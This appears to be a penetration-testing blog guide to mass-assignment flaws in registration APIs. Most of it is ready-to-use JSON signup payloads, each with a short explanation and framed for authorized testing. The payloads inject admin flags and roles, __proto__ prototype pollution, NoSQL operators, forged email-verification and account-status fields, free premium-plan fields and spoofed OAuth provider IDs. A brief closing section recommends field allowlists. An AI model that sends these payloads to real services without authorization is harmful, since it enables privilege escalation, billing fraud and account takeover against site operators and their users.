Loading...
Uncovering Invisible Privileges: The Ultimate Guide to Mass-Assignment in Registration Flows
A practical walkthrough of how hidden JSON fields can expose privilege flaws in modern signup APIs
Below are categorized payload examples you can use directly during testing. Each section includes a short explanation to help you understand what the variation is meant to uncover.
These are your initial “clean” requests. They help you confirm how the application handles uniqueness checks, email normalization, plus-addressing and subdomain-based emails. They act as a foundation before you start adding suspicious fields.
{
"username":"probe_user_01",
"email":"probe01@example.com",
"password":"Password1!"
}{
"username":"tester.jane",
"email":"jane.tester+1@example.com",
"password":"Password1!"
}{
"username":"alpha_user",
"email":"alpha.user@sub.example.com",
"password":"Password1!"
}{
"username":"bot_automation",
"email":"bot+signup@example.co.uk",
"password":"Password1!"
}These payloads test whether the backend accepts privilege-related fields that should never be user-controlled. Changing casing, types or naming helps reveal loose parsing or inconsistent permission handling.
{
"username":"probe_user_01",
"email":"probe01@example.com",
"isAdmin": true,
"password":"Password1!"
}{
"username":"probe_user_01",
"email":"probe01@example.com",
"admin": "true",
"password":"Password1!"
}{
"username":"probe_user_01",
"email":"probe01@example.com",
"ADMIN": 1,
"password":"Password1!"
}{
"username":"probe_user_01",
"email":"probe01@example.com",
"is_admin": 1,
"password":"Password1!"
}Some systems map roles by name or ID. Supplying role strings or IDs can reveal whether the application exposes privilege configuration through mass-assignment. This is a common escalation vector when internal role logic is loosely enforced.
{
"username":"role_tester",
"email":"role.tester@example.com",
"role":"admin",
"password":"Password1!"
}{
"username":"role_tester",
"email":"role.tester@example.com",
"role":"superuser",
"password":"Password1!"
}{
"username":"role_tester",
"email":"role.tester@example.com",
"role_id":0,
"password":"Password1!"
}{
"username":"role_tester",
"email":"role.tester@example.com",
"user_priv":"administrator",
"password":"Password1!"
}Multi-tenant applications often rely on IDs, slugs or organization names stored internally. If these fields are accessible during signup, an attacker might join restricted tenants or impersonate internal groups.
{
"username":"org_probe",
"email":"org.probe@example.com",
"org":"CompanyA",
"password":"Password1!"
}{
"username":"org_probe",
"email":"org.probe@example.com",
"organization_id":1,
"password":"Password1!"
}{
"username":"org_probe",
"email":"org.probe@example.com",
"org_slug":"internal-team",
"password":"Password1!"
}JSON-backed systems often merge nested objects into existing models. This can accidentally expose internal fields. Prototype pollution attempts such as __proto__can affect JavaScript backends that don't sanitize keys properly.
{
"username":"nested_user",
"email":"nested.user@example.com",
"password":"Password1!",
"profile": {
"bio":"testing",
"visibility":"private"
}
}{
"username":"proto_user",
"email":"proto.user@example.com",
"password":"Password1!",
"__proto__": {"isAdmin": true}
}Some systems interpret dotted keys as nested objects. Others flatten nested objects into dot notation. These mismatches can unintentionally overwrite sensitive internal fields.
{
"username":"deep_user",
"email":"deep.user@example.com",
"password":"Password1!",
"account": {
"meta": {
"role":"admin"
}
}
}{
"username":"deep_user",
"email":"deep.user@example.com",
"password":"Password1!",
"account.role":"admin"
}Different backends handle Boolean and null values differently. In some systems, “false” or 0 can still evaluate as truthy or trigger unexpected logic when coerced.
{
"username":"type_user",
"email":"type.user@example.com",
"password":"Password1!",
"admin": "false"
}{
"username":"type_user",
"email":"type.user@example.com",
"password":"Password1!",
"admin": 0
}{
"username":"type_user",
"email":"type.user@example.com",
"password":"Password1!",
"admin": null
}Some frameworks convert arrays into strings or only use the first element. This can expose unexpected parsing behavior or override fields using array-based privilege escalation.
{
"username":["array_user"],
"email":["array.user@example.com"],
"password":["Password1!"]
}{
"username":"array_user",
"email":"array.user@example.com",
"password":"Password1!",
"roles":["user","admin"]
}If a server unintentionally passes JSON directly into a NoSQL query, operators like $ne or $gt can break filtering or bypass validation. This type of test must only be done in authorized environments.
{
"username":"mongo_user",
"email":"mongo.user@example.com",
"password":"Password1!",
"isAdmin": {"$ne": null}
}{
"username":{"$gt": ""},
"email":"injection@example.com",
"password":"Password1!"
}Some systems accept multiple aliases for admin-related fields. Sending variations helps identify whether the backend uses loose key matching or legacy field mappings.
{
"username":"alias_user",
"email":"alias.user@example.com",
"password":"Password1!",
"is_superuser": true
}{
"username":"alias_user",
"email":"alias.user@example.com",
"password":"Password1!",
"super_user": true
}{
"username":"alias_user",
"email":"alias.user@example.com",
"password":"Password1!",
"staff": true
}Some APIs store verification flags directly from the request. Attackers may exploit these fields to mark their own email as verified or disable expiry validation.
{
"username":"verify_user",
"email":"verify.user@example.com",
"password":"Password1!",
"email_verified": true
}{
"username":"verify_user",
"email":"verify.user@example.com",
"password":"Password1!",
"verification_expires":"1970-01-01T00:00:00Z"
}Many systems allow metadata fields for logging or tracking purposes. If not properly filtered, attackers can overwrite internal metadata or inject privilege hints.
{
"username":"meta_user",
"email":"meta.user@example.com",
"password":"Password1!",
"metadata": {
"internal_role":"admin",
"created_by":"script"
}
}Some APIs trust the Content-Type header too much. If the backend has fallback parsers, sending the same JSON with a different or misleading content type can trigger unexpected parsing logic. That can open the door to weaker validation or alternate code paths the developers didn't intend to expose.
{
"username": "ct_user",
"email": "ct.user@example.com",
"password": "Password1!",
"isAdmin": true
}Even though the header says text/plain, some frameworks still try to parse it as JSON. If the validation for “non-JSON” requests is weaker, attackers can slip in fields like isAdmin without being filtered. You can also try:
Some APIs try to parse strings that look like JSON. This is a common oversight when fields are stored in schemaless or flexible models.
{
"username":"string_json",
"email":"string.json@example.com",
"password":"Password1!",
"profile":"{\"isAdmin\":true}"
}Oversized payloads help identify length limits, truncation or failure modes in the signup flow. They're also useful for discovering unexpected storage behavior.
{
"username":"long_user",
"email":"long.user@example.com",
"password":"Password1!",
"bio":"AAAAAA... (very long string)"
}This is often overlooked. In SaaS applications, user models frequently store subscription data. If you can manipulate these fields during signup, you might trick the system into giving you a “Pro” or “Enterprise” account without paying anything.
{
"username": "freeloader",
"email": "free@example.com",
"plan": "pro",
"password": "Password1!"
}{
"username": "freeloader",
"email": "free@example.com",
"subscription_id": 9999,
"password": "Password1!"
}{
"username": "freeloader",
"email": "free@example.com",
"is_premium": true,
"password": "Password1!"
}{
"username": "freeloader",
"email": "free@example.com",
"trial_ends_at": "2050-01-01T00:00:00Z",
"password": "Password1!"
}User accounts often go through “states” — e.g., pending, active, suspended, or banned. If the backend logic relies on the user model to track this state, you can try to force your account directly into an “active” state, bypassing email verification or approval queues.
{
"username": "status_jumper",
"email": "jump@example.com",
"status": "active",
"password": "Password1!"
}{
"username": "status_jumper",
"email": "jump@example.com",
"state": "verified",
"password": "Password1!"
}{
"username": "status_jumper",
"email": "jump@example.com",
"email_verified": true,
"password": "Password1!"
}If the application supports “Sign in with Google/Facebook,” the user model likely stores a provider ID. If you register via the normal form but inject OAuth fields, you might trick the system into linking your password-based account to a legitimate admin's social identity (if the validation logic is flawed).
{
"username": "oauth_spoof",
"email": "spoof@example.com",
"provider": "google",
"provider_id": "100234234234...",
"password": "Password1!"
}{
"username": "oauth_spoof",
"email": "spoof@example.com",
"auth_strategy": "ldap",
"password": "Password1!"
}Mixing multiple techniques is one of the most effective ways to find real vulnerabilities. Some combinations bypass incomplete validation or trigger multiple deserialization paths at once.
{
"username":"combo_user",
"email":"combo.user+test@example.com",
"password":"Password1!",
"__proto__": {"isAdmin": true},
"profile": {"role":"admin"},
"metadata": "{\"elevate\":true}"
}Mass-assignment bugs occur when backends trust incoming JSON too much. A harmless-looking signup request can overwrite sensitive fields if filtering isn't strict. Testing the payload variations above helps reveal how the API handles different structures and types. Once these gaps are found, enforcing allowlists and validating each field becomes straightforward. Securing the signup flow strengthens the entire application.